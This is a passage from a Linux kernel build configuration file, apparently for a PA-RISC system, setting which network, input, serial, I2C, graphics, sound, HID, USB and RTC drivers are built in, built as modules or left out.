CONFIG_HAPPYMEAL=m
# CONFIG_SUNGEM is not set
CONFIG_CASSINI=m
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=m
# CONFIG_TYPHOON is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_DE2104X_DSL=0
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
CONFIG_DE4X5=m
CONFIG_WINBOND_840=m
# CONFIG_DM9102 is not set
CONFIG_ULI526X=m
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_KSZ884X_PCI is not set
CONFIG_B44=m
CONFIG_B44_PCI_AUTOSELECT=y
CONFIG_B44_PCICORE_AUTOSELECT=y
CONFIG_B44_PCI=y
CONFIG_FORCEDETH=m
CONFIG_E100=m
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139CP is not set
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_OLD_RX_RESET is not set
# CONFIG_R6040 is not set
CONFIG_SIS900=m
CONFIG_EPIC100=m
# CONFIG_SMSC9420 is not set
CONFIG_SUNDANCE=m
CONFIG_SUNDANCE_MMIO=y
CONFIG_TLAN=m
# CONFIG_KS8842 is not set
# CONFIG_KS8851_MLL is not set
CONFIG_VIA_RHINE=m
CONFIG_VIA_RHINE_MMIO=y
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
# CONFIG_DL2K is not set
CONFIG_E1000=m
# CONFIG_E1000E is not set
# CONFIG_IP1000 is not set
CONFIG_IGB=m
# CONFIG_IGBVF is not set
# CONFIG_NS83820 is not set
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
# CONFIG_R8169 is not set
# CONFIG_SIS190 is not set
CONFIG_SKGE=m
# CONFIG_SKGE_DEBUG is not set
# CONFIG_SKY2 is not set
# CONFIG_VIA_VELOCITY is not set
CONFIG_TIGON3=m
# CONFIG_BNX2 is not set
# CONFIG_CNIC is not set
# CONFIG_QLA3XXX is not set
# CONFIG_ATL1 is not set
# CONFIG_ATL1E is not set
# CONFIG_ATL1C is not set
# CONFIG_JME is not set
CONFIG_NETDEV_10000=y
CONFIG_MDIO=m
CONFIG_CHELSIO_T1=m
# CONFIG_CHELSIO_T1_1G is not set
CONFIG_CHELSIO_T3_DEPENDS=y
# CONFIG_CHELSIO_T3 is not set
CONFIG_CHELSIO_T4_DEPENDS=y
# CONFIG_CHELSIO_T4 is not set
CONFIG_ENIC=m
# CONFIG_IXGBE is not set
# CONFIG_IXGB is not set
CONFIG_S2IO=m
# CONFIG_VXGE is not set
CONFIG_MYRI10GE=m
# CONFIG_NETXEN_NIC is not set
# CONFIG_NIU is not set
CONFIG_MLX4_EN=m
CONFIG_MLX4_CORE=m
CONFIG_MLX4_DEBUG=y
# CONFIG_TEHUTI is not set
# CONFIG_BNX2X is not set
# CONFIG_QLCNIC is not set
CONFIG_QLGE=m
CONFIG_SFC=m
# CONFIG_BE2NET is not set
# CONFIG_TR is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
CONFIG_NETCONSOLE=m
# CONFIG_NETCONSOLE_DYNAMIC is not set
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADP5588 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_ATKBD_HP_KEYCODES is not set
# CONFIG_QT2160 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_TCA6416 is not set
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_SERIAL=m
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATI_REMOTE is not set
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_KEYSPAN_REMOTE is not set
# CONFIG_INPUT_POWERMATE is not set
# CONFIG_INPUT_YEALINK is not set
CONFIG_INPUT_CM109=m
CONFIG_INPUT_UINPUT=m
CONFIG_HP_SDC_RTC=m
# CONFIG_INPUT_PCF8574 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=m
CONFIG_SERIO_PARKBD=m
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=y
CONFIG_HIL_MLC=y
CONFIG_SERIO_PCIPS2=m
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_N_GSM is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
# CONFIG_SERIAL_8250_SHARE_IRQ is not set
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
CONFIG_RAW_DRIVER=m
CONFIG_MAX_RAW_DEVS=256
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_RAMOOPS is not set
CONFIG_I2C=m
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
# CONFIG_I2C_CHARDEV is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1021 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_SENSORS_LIS3_I2C is not set
CONFIG_THERMAL=y
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_MFD_SUPPORT=y
CONFIG_MFD_CORE=m
# CONFIG_MFD_SM501 is not set
CONFIG_HTC_PASIC3=m
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
CONFIG_AGP=y
CONFIG_AGP_PARISC=m
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
# CONFIG_FB_CFB_FILLRECT is not set
# CONFIG_FB_CFB_COPYAREA is not set
# CONFIG_FB_CFB_IMAGEBLIT is not set
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
# CONFIG_FB_STI is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_TMIO is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_FONTS=y
# CONFIG_FONT_8x8 is not set
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
# CONFIG_FONT_MINI_4x6 is not set
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
# CONFIG_LOGO is not set
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
# CONFIG_SOUND_OSS_CORE_PRECLAIM is not set
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
CONFIG_SND_SEQ_DUMMY=m
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_VERBOSE_PRINTK=y
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_RAWMIDI_SEQ=m
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_USB=y
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_UA101 is not set
# CONFIG_SND_USB_CAIAQ is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=m
# CONFIG_HID_PID is not set
# CONFIG_USB_HIDDEV is not set

#
# Special HID drivers
#
# CONFIG_HID_3M_PCT is not set
CONFIG_HID_A4TECH=m
CONFIG_HID_APPLE=m
CONFIG_HID_BELKIN=m
# CONFIG_HID_CANDO is not set
CONFIG_HID_CHERRY=m
CONFIG_HID_CHICONY=m
# CONFIG_HID_PRODIKEYS is not set
CONFIG_HID_CYPRESS=m
CONFIG_HID_DRAGONRISE=m
# CONFIG_DRAGONRISE_FF is not set
# CONFIG_HID_EGALAX is not set
CONFIG_HID_EZKEY=m
CONFIG_HID_KYE=m
CONFIG_HID_GYRATION=m
CONFIG_HID_TWINHAN=m
CONFIG_HID_KENSINGTON=m
CONFIG_HID_LOGITECH=m
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
# CONFIG_LOGIG940_FF is not set
CONFIG_HID_MICROSOFT=m
# CONFIG_HID_MOSART is not set
CONFIG_HID_MONTEREY=m
CONFIG_HID_NTRIG=m
CONFIG_HID_ORTEK=m
CONFIG_HID_PANTHERLORD=m
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=m
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_QUANTA is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_ROCCAT_KONE is not set
CONFIG_HID_SAMSUNG=m
CONFIG_HID_SONY=m
# CONFIG_HID_STANTUM is not set
CONFIG_HID_SUNPLUS=m
CONFIG_HID_GREENASIA=m
# CONFIG_GREENASIA_FF is not set
CONFIG_HID_SMARTJOYPLUS=m
# CONFIG_SMARTJOYPLUS_FF is not set
CONFIG_HID_TOPSEED=m
CONFIG_HID_THRUSTMASTER=m
# CONFIG_THRUSTMASTER_FF is not set
CONFIG_HID_ZEROPLUS=m
# CONFIG_ZEROPLUS_FF is not set
# CONFIG_HID_ZYDACRON is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
# CONFIG_USB_DEBUG is not set
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
CONFIG_USB_MON=m
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
CONFIG_USB_ISP116X_HCD=m
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
# CONFIG_USB_OHCI_HCD is not set
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# Enable Host or Gadget support to see Inventra options
#

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
CONFIG_USB_EMI62=m
CONFIG_USB_EMI26=m
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
CONFIG_USB_LEGOTOWER=m
# CONFIG_USB_LCD is not set
CONFIG_USB_LED=m
# CONFIG_USB_CYPRESS_CY7C63 is not set
CONFIG_USB_CYTHERM=m
CONFIG_USB_IDMOUSE=m
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
CONFIG_USB_LD=m
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
CONFIG_UWB=m
CONFIG_UWB_HWA=m
CONFIG_UWB_WHCI=m
CONFIG_UWB_WLP=m
CONFIG_UWB_I1480U=m
CONFIG_UWB_I1480U_WLP=m
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
